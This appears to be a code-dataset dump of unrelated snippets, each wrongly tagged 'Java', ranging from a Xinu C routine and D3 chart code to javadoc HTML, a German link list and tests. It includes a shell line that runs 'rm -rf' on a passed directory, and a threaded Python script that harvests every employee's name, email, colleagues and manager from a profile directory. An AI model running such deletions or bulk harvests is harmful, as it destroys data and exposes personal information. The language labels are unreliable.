<script src="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/assets/js/vendor/popper.min.js"></script><script src="https://cdn.jsdelivr.net/npm/docsearch.js@2/dist/cdn/docsearch.min.js"></script><script src="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/assets/js/vendor/anchor.min.js"></script>
<script src="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/assets/js/vendor/clipboard.min.js"></script>
<script src="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/assets/js/vendor/holder.min.js"></script>
<script src="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/assets/js/src/application.js"></script>
<script src="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/assets/js/src/ie-emulation-modes-warning.js"></script>
<script src="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/assets/js/src/pwa.js"></script>
</body>
</html>
| Java |
/* ptinit.c - ptinit */
#include <xinu.h>
struct ptnode *ptfree; /* list of free message nodes */
struct ptentry porttab[NPORTS]; /* port table */
int32 ptnextid; /* next table entry to try */
/*------------------------------------------------------------------------
* ptinit -- initialize all ports
*------------------------------------------------------------------------
*/
syscall ptinit(
int32 maxmsgs /* total messages in all ports */
)
{
int32 i; /* runs through port table */
struct ptnode *next, *prev; /* used to build free list */
ptfree = (struct ptnode *)getmem(maxmsgs*sizeof(struct ptnode));
if (ptfree == (struct ptnode *)SYSERR) {
panic("pinit - insufficient memory");
}
/* Initialize all port table entries to free */
for (i=0 ; i<NPORTS ; i++) {
porttab[i].ptstate = PT_FREE;
porttab[i].ptseq = 0;
}
ptnextid = 0;
/* Create free list of message pointer nodes */
for ( prev=next=ptfree ; --maxmsgs > 0 ; prev=next )
prev->ptnext = ++next;
prev->ptnext = NULL;
return(OK);
}
| Java |
'use strict';
angular.module('aurea')
.directive('d3Bars', function ($window, $timeout, d3Service) {
return {
restrict: 'EA',
scope: {
data: '=',
onClick: '&'
},
link: function (scope, ele, attrs) {
d3Service.d3().then(function (d3) {
var margin = parseInt(attrs.margin) || 20,
barHeight = parseInt(attrs.barHeight) || 20,
barPadding = parseInt(attrs.barPadding) || 5;
var svg = d3.select(ele[0])
.append('svg')
.style('width', '100%');
// Browser onresize event
window.onresize = function () {
scope.$apply();
};
// Watch for resize event
scope.$watch(function () {
return angular.element($window)[0].innerWidth;
}, function () {
scope.render(scope.data);
});
scope.$watch('data', function (newData) {
scope.render(newData);
}, true);
scope.render = function (data) {
// remove all previous items before render
svg.selectAll('*').remove();
// If we don't pass any data, return out of the element
if (!data) return;
// setup variables
var width = d3.select(ele[0]).node().offsetWidth - margin,
// calculate the height
height = scope.data.length * (barHeight + barPadding),
// Use the category20() scale function for multicolor support
color = d3.scale.category20(),
// our xScale
xScale = d3.scale.linear()
.domain([0, 31])
.range([0, width]);
// set the height based on the calculations above
svg.attr('height', height);
//create the rectangles for the bar chart
svg.selectAll('rect')
.data(data).enter()
.append('rect')
.attr('height', barHeight)
.attr('width', 140)
.attr('x', 110)
.attr('y', function (d, i) {
return i * (barHeight + barPadding);
})
.attr('fill', function (d) {
return color(d.value);
})
.attr('width', function (d) {
return xScale(d.value);
});
var baseSelection = svg.selectAll('text');
baseSelection
.data(data)
.enter()
.append('text')
.attr('font-family', 'monospace')
.attr('fill', '#000')
.attr('y', function (d, i) {
return i * (barHeight + barPadding) + 15;
})
.attr('x', 15)
.text(function (d) {
return d.name;
});
baseSelection
.data(data)
.enter()
.append('text')
.attr('font-family', 'monospace')
.attr('fill', '#fff')
.attr('y', function (d, i) {
return i * (barHeight + barPadding) + 15;
})
.attr('x', 114)
.text(function (d) {
return d.value > 0 ? d.value : '';
});
};
});
}
};
}); | Java |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!-- NewPage -->
<html lang="en">
<head>
<!-- Generated by javadoc (version 1.7.0_17) on Thu Oct 24 15:10:37 CEST 2013 -->
<title>UdpListener</title>
<meta name="date" content="2013-10-24">
<link rel="stylesheet" type="text/css" href="../../../../stylesheet.css" title="Style">
</head>
<body>
<script type="text/javascript"><!--
if (location.href.indexOf('is-external=true') == -1) {
parent.document.title="UdpListener";
}
//-->
</script>
<noscript>
<div>JavaScript is disabled on your browser.</div>
</noscript>
<!-- ========= START OF TOP NAVBAR ======= -->
<div class="topNav"><a name="navbar_top">
<!-- -->
</a><a href="#skip-navbar_top" title="Skip navigation links"></a><a name="navbar_top_firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../../../overview-summary.html">Overview</a></li>
<li><a href="package-summary.html">Package</a></li>
<li class="navBarCell1Rev">Class</li>
<li><a href="class-use/UdpListener.html">Use</a></li>
<li><a href="package-tree.html">Tree</a></li>
<li><a href="../../../../deprecated-list.html">Deprecated</a></li>
<li><a href="../../../../index-files/index-1.html">Index</a></li>
<li><a href="../../../../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<ul class="navList">
<li><a href="../../../../com/veraxsystems/vxipmi/transport/Messenger.html" title="interface in com.veraxsystems.vxipmi.transport"><span class="strong">Prev Class</span></a></li>
<li><a href="../../../../com/veraxsystems/vxipmi/transport/UdpMessage.html" title="class in com.veraxsystems.vxipmi.transport"><span class="strong">Next Class</span></a></li>
</ul>
<ul class="navList">
<li><a href="../../../../index.html?com/veraxsystems/vxipmi/transport/UdpListener.html" target="_top">Frames</a></li>
<li><a href="UdpListener.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_top">
<li><a href="../../../../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_top");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<div>
<ul class="subNavList">
<li>Summary: </li>
<li>Nested | </li>
<li>Field | </li>
<li>Constr | </li>
<li><a href="#method_summary">Method</a></li>
</ul>
<ul class="subNavList">
<li>Detail: </li>
<li>Field | </li>
<li>Constr | </li>
<li><a href="#method_detail">Method</a></li>
</ul>
</div>
<a name="skip-navbar_top">
<!-- -->
</a></div>
<!-- ========= END OF TOP NAVBAR ========= -->
<!-- ======== START OF CLASS DATA ======== -->
<div class="header">
<div class="subTitle">com.veraxsystems.vxipmi.transport</div>
<h2 title="Interface UdpListener" class="title">Interface UdpListener</h2>
</div>
<div class="contentContainer">
<div class="description">
<ul class="blockList">
<li class="blockList">
<dl>
<dt>All Known Implementing Classes:</dt>
<dd><a href="../../../../com/veraxsystems/vxipmi/sm/StateMachine.html" title="class in com.veraxsystems.vxipmi.sm">StateMachine</a></dd>
</dl>
<hr>
<br>
<pre>public interface <span class="strong">UdpListener</span></pre>
<div class="block">An interface for <a href="../../../../com/veraxsystems/vxipmi/transport/UdpMessenger.html" title="class in com.veraxsystems.vxipmi.transport"><code>UdpMessenger</code></a> listener.</div>
</li>
</ul>
</div>
<div class="summary">
<ul class="blockList">
<li class="blockList">
<!-- ========== METHOD SUMMARY =========== -->
<ul class="blockList">
<li class="blockList"><a name="method_summary">
<!-- -->
</a>
<h3>Method Summary</h3>
<table class="overviewSummary" border="0" cellpadding="3" cellspacing="0" summary="Method Summary table, listing methods, and an explanation">
<caption><span>Methods</span><span class="tabEnd"> </span></caption>
<tr>
<th class="colFirst" scope="col">Modifier and Type</th>
<th class="colLast" scope="col">Method and Description</th>
</tr>
<tr class="altColor">
<td class="colFirst"><code>void</code></td>
<td class="colLast"><code><strong><a href="../../../../com/veraxsystems/vxipmi/transport/UdpListener.html#notifyMessage(com.veraxsystems.vxipmi.transport.UdpMessage)">notifyMessage</a></strong>(<a href="../../../../com/veraxsystems/vxipmi/transport/UdpMessage.html" title="class in com.veraxsystems.vxipmi.transport">UdpMessage</a> message)</code>
<div class="block">Notifies listener of the UDP message that was received.</div>
</td>
</tr>
</table>
</li>
</ul>
</li>
</ul>
</div>
<div class="details">
<ul class="blockList">
<li class="blockList">
<!-- ============ METHOD DETAIL ========== -->
<ul class="blockList">
<li class="blockList"><a name="method_detail">
<!-- -->
</a>
<h3>Method Detail</h3>
<a name="notifyMessage(com.veraxsystems.vxipmi.transport.UdpMessage)">
<!-- -->
</a>
<ul class="blockListLast">
<li class="blockList">
<h4>notifyMessage</h4>
<pre>void notifyMessage(<a href="../../../../com/veraxsystems/vxipmi/transport/UdpMessage.html" title="class in com.veraxsystems.vxipmi.transport">UdpMessage</a> message)</pre>
<div class="block">Notifies listener of the UDP message that was received.</div>
<dl><dt><span class="strong">Parameters:</span></dt><dd><code>message</code> - - message received</dd></dl>
</li>
</ul>
</li>
</ul>
</li>
</ul>
</div>
</div>
<!-- ========= END OF CLASS DATA ========= -->
<!-- ======= START OF BOTTOM NAVBAR ====== -->
<div class="bottomNav"><a name="navbar_bottom">
<!-- -->
</a><a href="#skip-navbar_bottom" title="Skip navigation links"></a><a name="navbar_bottom_firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../../../overview-summary.html">Overview</a></li>
<li><a href="package-summary.html">Package</a></li>
<li class="navBarCell1Rev">Class</li>
<li><a href="class-use/UdpListener.html">Use</a></li>
<li><a href="package-tree.html">Tree</a></li>
<li><a href="../../../../deprecated-list.html">Deprecated</a></li>
<li><a href="../../../../index-files/index-1.html">Index</a></li>
<li><a href="../../../../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<ul class="navList">
<li><a href="../../../../com/veraxsystems/vxipmi/transport/Messenger.html" title="interface in com.veraxsystems.vxipmi.transport"><span class="strong">Prev Class</span></a></li>
<li><a href="../../../../com/veraxsystems/vxipmi/transport/UdpMessage.html" title="class in com.veraxsystems.vxipmi.transport"><span class="strong">Next Class</span></a></li>
</ul>
<ul class="navList">
<li><a href="../../../../index.html?com/veraxsystems/vxipmi/transport/UdpListener.html" target="_top">Frames</a></li>
<li><a href="UdpListener.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_bottom">
<li><a href="../../../../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_bottom");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<div>
<ul class="subNavList">
<li>Summary: </li>
<li>Nested | </li>
<li>Field | </li>
<li>Constr | </li>
<li><a href="#method_summary">Method</a></li>
</ul>
<ul class="subNavList">
<li>Detail: </li>
<li>Field | </li>
<li>Constr | </li>
<li><a href="#method_detail">Method</a></li>
</ul>
</div>
<a name="skip-navbar_bottom">
<!-- -->
</a></div>
<!-- ======== END OF BOTTOM NAVBAR ======= -->
</body>
</html>
| Java |
* [Wie ihr eurere Ansible Provisionierung schneller macht.](https://opensource.com/article/19/3/ansible-performance)
* [RedoxOS wurde in der Version 0.5 veröffentlicht.](https://www.phoronix.com/scan.php?page=news_item&px=Redox-OS-0.5-Released)
* [Ach du Scheiße, Überwachung, Vermessung und Verblödung sind auf dem Vormasch.](https://netzfrauen.org/2019/03/25/appepidemie/) - Lernt euch selbst und eurer Einschätzung zu vertrauen.
* [Die Bevölkerung Europas hat verloren und die Konzerne ohne Herz gewonnen - Artikel 13 ist jetzt offiziell erlaubt.](https://blog.fefe.de/?ts=a264d3bd)
* [Puppy Linux wurde in der Version 8.0 veröffentlicht.](https://www.pro-linux.de/news/1/26905/puppy-linux-80-ver%C3%B6ffentlicht.html)
* [RaspberryPi? Warum mal nicht ein NetBSD drauf installieren?](https://opensource.com/article/19/3/netbsd-raspberry-pi)
* [Warum will Apple und Google jetzt Kreditkarten machen? Zum einen weil man so noch mehr Daten aggregieren kann und zum anderen wegen 25 Prozent effektiver Jahreszins.](https://blog.fefe.de/?ts=a267100c)
* [Deswegen wird in Deutschland kein Breintbandinternet ausgebaut, da schützt uns der Staat vor Straftaten!](https://blog.fefe.de/?ts=a2670fc8)
* [3.6 Milliarden Euro Umsatz und 686 Millionen Euro Strafe? Positive Billanz würde ich sagen ... ach und die Strafen sind zu niedrig wenn Konzerne aus Gewinngründen mit dem Leben spielen.](https://blog.fefe.de/?ts=a2677bc2)
* [Proxmox Mail wurde in der Version 5.2 veröffentlicht.](https://www.pro-linux.de/news/1/26910/proxmox-52-mail-gateway-fertiggestellt.html)
* [LVFS wird ein Projekt der Linux Foundation :-).](https://www.pro-linux.de/news/1/26908/lvfs-wird-zu-einem-projekt-der-linux-foundation.html)
* [Bayer und Monstanto sind jetzt weniger Wert als vor ihrer Fustion, macht euch keine Sorgen, der Steuerzahler zahlt dieses Problem.](https://blog.fefe.de/?ts=a265dcb7)
* [Proton wurde in der Version 4.2 veröffentlicht.](https://www.phoronix.com/scan.php?page=news_item&px=Valve-Proton-4.2-Released)
* [Flatpak wurde in der Version 1.2.4 veröffentlicht.](https://www.phoronix.com/scan.php?page=news_item&px=Flatpak-1.2.4-Released)
* [Cisco fixed ein Exploit indem sie einen User Agent blacklisten.](https://blog.fefe.de/?ts=a262bcdf)
* [N26 ist so kaputt.](https://blog.fefe.de/?ts=a2623284)
* [Aktuelles aus dem Netzwerk Freiberg im April 2019](https://bio-erzgebirge.de/wp/?p=18048)
* [Der Staats erlaubt sich in deine Wohnung einzubrechen um den Staatstrojaner zu installieren.](https://blog.fefe.de/?ts=a263078d)
* [Nicht nur Verschlüsselung, sondern auch TRIM, wird es im ZOL 0.8 kommen.](https://www.phoronix.com/scan.php?page=news_item&px=ZFS-On-Linux-TRIM-Lands) - Das Release wird ein Fest!
* [JIT kommt in PHP 8.0.](https://www.phoronix.com/scan.php?page=news_item&px=PHP-8-JIT-Approved)
* [Wow, mehr als eine Million Menschen in Japan schließen sich zu Hause ein, haben keine Arbeit und entziehen sich dem Leben.](https://blog.fefe.de/?ts=a25e0aa7)
* [Roundcube wurde in der Version 1.3.9 veröffentlicht.](https://roundcube.net/news/2019/03/31/update-1.3.9-released)
* [Nein? Doch! Oh? Wie erwartete sterben nach den Insekten jetzt auch die Vögel, die bisher von Insekten gelebt haben.](https://blog.fefe.de/?ts=a25e4767)
| Java |
mkdir -p "$1" && $2 rm -rf "$1"/* && mkdir -p "$3"
| Java |
package com.softech.ls360.lms.api.proxy.service;
import com.softech.vu360.lms.webservice.message.lmsapi.serviceoperations.user.AddUserResponse;
import com.softech.vu360.lms.webservice.message.lmsapi.serviceoperations.user.UpdateUserResponse;
import com.softech.vu360.lms.webservice.message.lmsapi.types.user.UpdateableUser;
import com.softech.vu360.lms.webservice.message.lmsapi.types.user.User;
public interface LmsApiUserService {
AddUserResponse createUser(User user, Long customerId, String customerCode, String apiKey) throws Exception;
UpdateUserResponse updateUser(UpdateableUser updateableUser, Long customerId, String customerCode, String apiKey) throws Exception;
}
| Java |
# !!!!!!! DO NOT EDIT THIS FILE !!!!!!!
# This file is machine-generated by lib/unicore/mktables from the Unicode
# database, Version 5.2.0. Any changes made here will be lost!
# !!!!!!! INTERNAL PERL USE ONLY !!!!!!!
# This file is for internal use by the Perl program only. The format and even
# the name or existence of this file are subject to change without notice.
# Don't use it directly.
# This file returns the single code point in Unicode Version 5.2.0 that
# matches any of the following regular expression constructs:
#
# \p{Canonical_Combining_Class=21}
# \p{Ccc=21}
# \p{Is_Canonical_Combining_Class=21}
# \p{Is_Ccc=21}
#
# perluniprops.pod should be consulted for the syntax rules for any of these,
# including if adding or subtracting white space, underscore, and hyphen
# characters matters or doesn't matter, and other permissible syntactic
# variants. Upper/lower case distinctions never matter.
#
# A colon can be substituted for the equals sign, and anything to the left of
# the equals (or colon) can be combined with anything to the right. Thus,
# for example,
# \p{Is_Ccc: 21}
# is also valid.
#
# The format of the lines of this file is: START\tSTOP\twhere START is the
# starting code point of the range, in hex; STOP is the ending point, or if
# omitted, the range has just one code point. Numbers in comments in
# [brackets] indicate how many code points are in the range.
return <<'END';
05BC
END
| Java |
define(['Scripts/App/CommentsScraper'], function(CommentsScraper) {
describe('myFilter', function() {
var failTest = function(error) {
expect(error).toBeUndefined();
};
beforeEach(function(){
jasmine.addMatchers({
toBeEqualComment: function() {
return {
compare: function (actual, expected) {
return {
pass: actual.author === expected.author && actual.commentType === expected.commentType
&& actual.link === expected.link && actual.x === expected.x && actual.y === expected.y
};
}
};
}
});
jasmine.getFixtures().fixturesPath = 'base/Tests/Fixtures/';
loadFixtures('sampleComments.html');
});
it('should give correct comment object when given correct comment html', function () {
var expected = {
author: 'Vaniver',
commentType: 'Parent',
link: 'http://lesswrong.com/lw/n93/open_thread_feb_01_feb_07_2016/d2us',
x: 1454336014000,
y: 2
};
//var employee = CommentsScraper.getCommentObj($('.comment')[0].outerHTML);
//expect(employee.author).toBeEqualComment('ScottL');
});
// Our first test!!!!
it('about greeting says "This is the about message2!"', function () {
//console.log(CommentsScraper);
//CommentsScraper.getCommentData($('.comment')[0].outerHTML).then(function(data) {
// console.log(data);
//});
});
});
}); | Java |
<!-- <div class="jumbotron">
<h1>Welcome!</h1>
<?php echo $content->getHtml(); ?>
</div> -->
<div class="row" style="padding: 15px;">
<?php
$bgcolors = array('blue','green','orange','grey');
$i=0;
foreach($content->children as $child){
$mod = $i % count($bgcolors);
$color = $bgcolors[$mod];
echo '<div class="col-md-4 tile '.$color.'">';
echo '<a href="'.$child->getUrl().'">'.$child->title.'</a>';
echo '<p>'.$child->shortText.'</p>';
echo '</div>';
$i++;
}
?>
</div>
| Java |
package cz.cuni.lf1.lge.ThunderSTORM.estimators;
import cz.cuni.lf1.lge.ThunderSTORM.detectors.CentroidOfConnectedComponentsDetector;
import cz.cuni.lf1.lge.ThunderSTORM.estimators.PSF.EllipticGaussianPSF;
import cz.cuni.lf1.lge.ThunderSTORM.estimators.PSF.EllipticGaussianWAnglePSF;
import cz.cuni.lf1.lge.ThunderSTORM.estimators.PSF.Molecule;
import cz.cuni.lf1.lge.ThunderSTORM.estimators.PSF.SymmetricGaussianPSF;
import cz.cuni.lf1.lge.ThunderSTORM.filters.CompoundWaveletFilter;
import cz.cuni.lf1.lge.ThunderSTORM.FormulaParser.FormulaParserException;
import cz.cuni.lf1.lge.ThunderSTORM.estimators.PSF.IntegratedSymmetricGaussianPSF;
import cz.cuni.lf1.lge.ThunderSTORM.estimators.PSF.PSFModel.Params;
import cz.cuni.lf1.lge.ThunderSTORM.util.CSV;
import static cz.cuni.lf1.lge.ThunderSTORM.util.MathProxy.sqr;
import cz.cuni.lf1.lge.ThunderSTORM.util.Point;
import ij.IJ;
import ij.process.FloatProcessor;
import java.util.List;
import java.util.Vector;
import org.junit.Test;
import static org.junit.Assert.*;
public class EstimatorsTest {
@Test
public void testRadialSymmetry() {
testEstimator(new MultipleLocationsImageFitting(5, new RadialSymmetryFitter()));
}
@Test
public void testLSQSym() {
testEstimator(new MultipleLocationsImageFitting(5, new LSQFitter(new SymmetricGaussianPSF(1), false, Params.BACKGROUND)));
testEstimator(new MultipleLocationsImageFitting(5, new LSQFitter(new SymmetricGaussianPSF(1), true, Params.BACKGROUND)));
}
@Test
public void testLSQIntSym() {
testEstimator(new MultipleLocationsImageFitting(5, new LSQFitter(new IntegratedSymmetricGaussianPSF(1), false, Params.BACKGROUND)));
testEstimator(new MultipleLocationsImageFitting(5, new LSQFitter(new IntegratedSymmetricGaussianPSF(1), true, Params.BACKGROUND)));
}
@Test
public void testMLEIntSym() {
testEstimator(new MultipleLocationsImageFitting(5, new MLEFitter(new IntegratedSymmetricGaussianPSF(1), Params.BACKGROUND)));
}
@Test
public void testMLESym() {
testEstimator(new MultipleLocationsImageFitting(5, new MLEFitter(new SymmetricGaussianPSF(1), Params.BACKGROUND)));
}
@Test
public void testLSQEllipticAngle() {
testEstimator(new MultipleLocationsImageFitting(5, new LSQFitter(new EllipticGaussianWAnglePSF(1, 0), false, Params.BACKGROUND)));
testEstimator(new MultipleLocationsImageFitting(5, new LSQFitter(new EllipticGaussianWAnglePSF(1, 0), true, Params.BACKGROUND)));
}
@Test
public void testMLEEllipticAngle() {
testEstimator(new MultipleLocationsImageFitting(5, new MLEFitter(new EllipticGaussianWAnglePSF(1, 0), Params.BACKGROUND)));
}
@Test
public void testLSQElliptic() {
testEstimator(new MultipleLocationsImageFitting(5, new LSQFitter(new EllipticGaussianPSF(1, 45), false, Params.BACKGROUND)));
testEstimator(new MultipleLocationsImageFitting(5, new LSQFitter(new EllipticGaussianPSF(1, 45), true, Params.BACKGROUND)));
}
@Test
public void testMLEElliptic() {
testEstimator(new MultipleLocationsImageFitting(5, new MLEFitter(new EllipticGaussianPSF(1, 45), Params.BACKGROUND)));
}
private void testEstimator(IEstimator estimator) throws FormulaParserException {
String basePath = this.getClass().getProtectionDomain().getCodeSource().getLocation().getPath();
FloatProcessor image = (FloatProcessor) IJ.openImage(basePath + "tubulins1_00020.tif").getProcessor().convertToFloat();
FloatProcessor filtered = (new CompoundWaveletFilter()).filterImage(image);
Vector<Point> detections = (new CentroidOfConnectedComponentsDetector("16", true)).detectMoleculeCandidates(filtered);
List<Molecule> fits = estimator.estimateParameters(image, detections);
for(Molecule fit : fits) {
convertXYToNanoMeters(fit, 150.0);
}
Vector<Molecule> ground_truth = null;
try {
ground_truth = CSV.csv2psf(basePath + "tubulins1_00020.csv", 1, 2);
} catch(Exception ex) {
fail(ex.getMessage());
}
Vector<Pair> pairs = pairFitsAndDetections2GroundTruths(detections, fits, ground_truth);
for(Pair pair : pairs) {
assertFalse("Result from the estimator should be better than guess from the detector.", dist2(pair.fit, pair.ground_truth) > dist2(pair.detection, pair.ground_truth));
}
//
// Note: better test would be to compare these results to the results from Matlab...but I don't have them at the moment
//
}
static void convertXYToNanoMeters(Molecule fit, double px2nm) {
fit.setX(fit.getX() * px2nm);
fit.setY(fit.getY() * px2nm);
}
static class Pair {
Point detection;
Molecule fit;
Molecule ground_truth;
public Pair(Point detection, Molecule fit, Molecule ground_truth) {
this.detection = detection;
this.fit = fit;
this.ground_truth = ground_truth;
}
}
static Vector<Pair> pairFitsAndDetections2GroundTruths(Vector<Point> detections, List<Molecule> fits, Vector<Molecule> ground_truth) {
assertNotNull(fits);
assertNotNull(detections);
assertNotNull(ground_truth);
assertFalse(fits.isEmpty());
assertFalse(detections.isEmpty());
assertFalse(ground_truth.isEmpty());
assertEquals("Number of detections should be the same as number of fits!", detections.size(), fits.size());
Vector<Pair> pairs = new Vector<Pair>();
int best_fit;
double best_dist2, dist2;
for(int i = 0, im = fits.size(); i < im; i++) {
best_fit = 0;
best_dist2 = dist2(fits.get(i), ground_truth.elementAt(best_fit));
for(int j = 1, jm = ground_truth.size(); j < jm; j++) {
dist2 = dist2(fits.get(i), ground_truth.elementAt(j));
if(dist2 < best_dist2) {
best_dist2 = dist2;
best_fit = j;
}
}
pairs.add(new Pair(detections.elementAt(i), fits.get(i), ground_truth.elementAt(best_fit)));
}
return pairs;
}
static double dist2(Point detection, Molecule ground_truth) {
return sqr(detection.x.doubleValue() - ground_truth.getX()) + sqr(detection.y.doubleValue() - ground_truth.getY());
}
static double dist2(Molecule fit, Molecule ground_truth) {
return sqr(fit.getX() - ground_truth.getY()) + sqr(fit.getX() - ground_truth.getY());
}
}
| Java |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# dépendances
import requests
import xml.dom.minidom
import sys
import signal
import os
import getopt
from queue import Queue
from threading import Thread
import time
class SetQueue(Queue):
def _init(self, maxsize):
Queue._init(self, maxsize)
self.all_items = set()
def _put(self, item):
if item not in self.all_items:
Queue._put(self, item)
self.all_items.add(item)
def signal_handler(signal, frame):
print('You pressed Ctrl+C!')
sys.exit(0)
def usage():
"""usage de la ligne de commande"""
print ("usage : " + sys.argv[0] + "-h --help -s --server someurl.com -u --user login -p --password password")
def getAtomFeed(url, login, pwd):
# var
MAX_TRY = 10
essai = 0
# get atom document
while essai < MAX_TRY:
try:
r = requests.get('http://' + url, auth=(login,pwd), timeout=10)
except:
essai += 1
continue
break
else:
raise ('Erreur lors de la requête')
# parse atom document
try:
dom = xml.dom.minidom.parseString(r.text)
except:
raise ('Erreur lors du parsing du document Atom')
return dom
def getManagerInfo(atomFeed):
try:
entries = atomFeed.getElementsByTagName('entry')[1]
except:
return None
try:
managerId = entries.getElementsByTagName('snx:userid')[0]
return managerId.firstChild.data
except:
return None
def buildUrlSearchList(server, login, pwd, q):
# var
alphabet = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z']
#alphabet = ['a']
for i in alphabet:
url = server + '/profiles/atom/search.do?search=' + i + '*&ps=250'
dom = getAtomFeed(url, login, pwd)
totalResult = dom.getElementsByTagName('opensearch:totalResults')[0]
totalResult = int(totalResult.firstChild.data)
if totalResult > 250:
nbPage = int(float(totalResult) / 250) + 1
for n in range(1,nbPage,1):
item = url + "&page=" + str(n)
q.put(item)
else:
nbPage = 1
q.put(url)
def getUserIdsWorker(login, pwd, qin, qout):
while True:
url = qin.get()
if url == None:
break
qin.task_done()
try:
dom = getAtomFeed(url, login, pwd)
except:
continue
userIds = dom.getElementsByTagName('snx:userid')
for index, item, in enumerate(userIds):
qout.put(item.firstChild.data)
def getRelationsWorker(server, login, pwd, qin, qout, getManager, qmgmt):
while True:
userid = qin.get()
if userid == None:
break
qin.task_done()
url = server + '/profiles/atom/connections.do?userid=' + userid + '&connectionType=colleague&ps=250'
try:
dom = getAtomFeed(url, login, pwd)
except:
continue
feed = dom.firstChild
entries = feed.getElementsByTagName('entry')
for entry in entries:
# get date
dateRelation = entry.getElementsByTagName('updated')[0]
dateRelation = dateRelation.firstChild.data
dateRelation = dateRelation[:10]
# get author user id
author = entry.getElementsByTagName('author')[0]
try:
authorName = author.getElementsByTagName('name')[0]
authorName = authorName.firstChild.data
except:
authorName = ""
try:
authorEMail = author.getElementsByTagName('email')[0]
authorEMail = authorEMail.firstChild.data
except:
authorEMail = ""
authorUserId = author.getElementsByTagName('snx:userid')[0]
authorUserId = authorUserId.firstChild.data
# get contributor user id
contributor = entry.getElementsByTagName('contributor')[0]
try:
contribName = contributor.getElementsByTagName('name')[0]
contribName = contribName.firstChild.data
except:
contribName = ""
try:
contribEMail = contributor.getElementsByTagName('email')[0]
contribEMail = contribEMail.firstChild.data
except:
contribEMail = ""
contribUserId = contributor.getElementsByTagName('snx:userid')[0]
contribUserId = contribUserId.firstChild.data
# build dict
authorInfo = { "userid" : authorUserId, "name" : authorName, "email" : authorEMail }
contribInfo = { "userid" : contribUserId, "name" : contribName, "email" : contribEMail }
relation = "\"" + authorUserId + "\",\"" + contribUserId + "\",\"<(" + str(dateRelation) + ",Infinity)>\""
qout.put(authorInfo)
qout.put(contribInfo)
qout.put(relation)
# get manager
if getManager == True:
url = server + "/profiles/atom/reportingChain.do?userid=" + userid
rc = getAtomFeed(url, login, pwd)
managerId = getManagerInfo(rc)
if managerId is not None:
reportingChain = str(userid) + "," + str(managerId)
qmgmt.put(reportingChain)
def printStatusThread(q0, q1, q2, q3):
strtime = time.time()
while True:
sys.stdout.write('\r\x1b[K')
sys.stdout.write("urls:" + str(q0.qsize()) + " | ")
sys.stdout.write("userids:" + str(q1.qsize()) + " | ")
sys.stdout.write("user infos:" + str(q2.qsize()) + " | ")
sys.stdout.write("manager infos:" + str(q3.qsize()))
sys.stdout.flush()
time.sleep(1)
def writeFileThread(usersFilename, relationsFilename, qin):
# file for user details
u = open(usersFilename + ".csv", "w")
u.write("Id,Label,eMail\n")
# file for relations
r = open(relationsFilename + ".csv", "w")
r.write("Source,Target,Time Interval\n")
doneUsers = []
while True:
data = qin.get()
if data == None:
u.flush()
r.flush()
u.close()
r.close()
break
# write data
if type(data) is dict:
string = str(data["userid"]) + ',' + str(data["name"]) + ',' + str(data["email"])
if string not in doneUsers:
u.write(string + "\n")
doneUsers.append(string)
elif type(data) is str:
r.write(str(data) + "\n")
qin.task_done()
def writeManagerFileThread(managerFilename, qin):
m = open(managerFilename + ".csv", "w")
m.write("Source,Target\n")
while True:
data = qin.get()
if data == None:
break
m.write(str(data) + "\n")
qin.task_done()
def main(argv):
# global
serverUrl = ""
login = ""
pwd = ""
getManager = False
urlQueue = SetQueue(maxsize=5000)
userIdsQueue = SetQueue(maxsize=5000)
userInfosQueue = Queue(maxsize=5000)
userManagerQueue = Queue(maxsize=5000)
# signal handler
signal.signal(signal.SIGINT, signal_handler)
# retrive arguments
try:
opts, args = getopt.getopt(argv, "hs:u:p:m", ["help", "server=", "user=", "password=", "manager"])
for opt, arg in opts:
if opt in ("-h", "--help"):
usage()
sys.exit()
elif opt in ("-s", "--server"):
serverUrl = arg
elif opt in ("-u", "--user"):
login = arg
elif opt in ("-p", "--password"):
pwd = arg
elif opt in ("-m", "--manager"):
getManager = True
except:
usage()
sys.exit()
# threading get userinfo worker
userIdWorker = []
for i in range(10):
w1 = Thread(target=getUserIdsWorker, args=(login, pwd, urlQueue, userIdsQueue,))
w1.setDaemon(True)
w1.start()
userIdWorker.append(w1)
# threading get relations worker
userInfoWorker = []
for i in range(20):
w2 = Thread(target=getRelationsWorker, args=(serverUrl, login, pwd, userIdsQueue, userInfosQueue, getManager, userManagerQueue,))
w2.setDaemon(True)
w2.start()
userInfoWorker.append(w2)
# thread to print size of queue
w3 = Thread(target=printStatusThread, args=(urlQueue, userIdsQueue, userInfosQueue, userManagerQueue,))
w3.setDaemon(True)
w3.start()
# thread to write files
w4 = Thread(target=writeFileThread, args=("users", "relations", userInfosQueue,))
w4.setDaemon(True)
w4.start()
if getManager == True:
w5 = Thread(target=writeManagerFileThread, args=("manager", userManagerQueue,))
w5.setDaemon(True)
w5.start()
# build Queue url list
MAX_TRY = 10
essai = 0
while essai < MAX_TRY:
try:
buildUrlSearchList(serverUrl, login, pwd, urlQueue)
except KeyboardInterrupt:
break
except:
essai += 1
continue
break
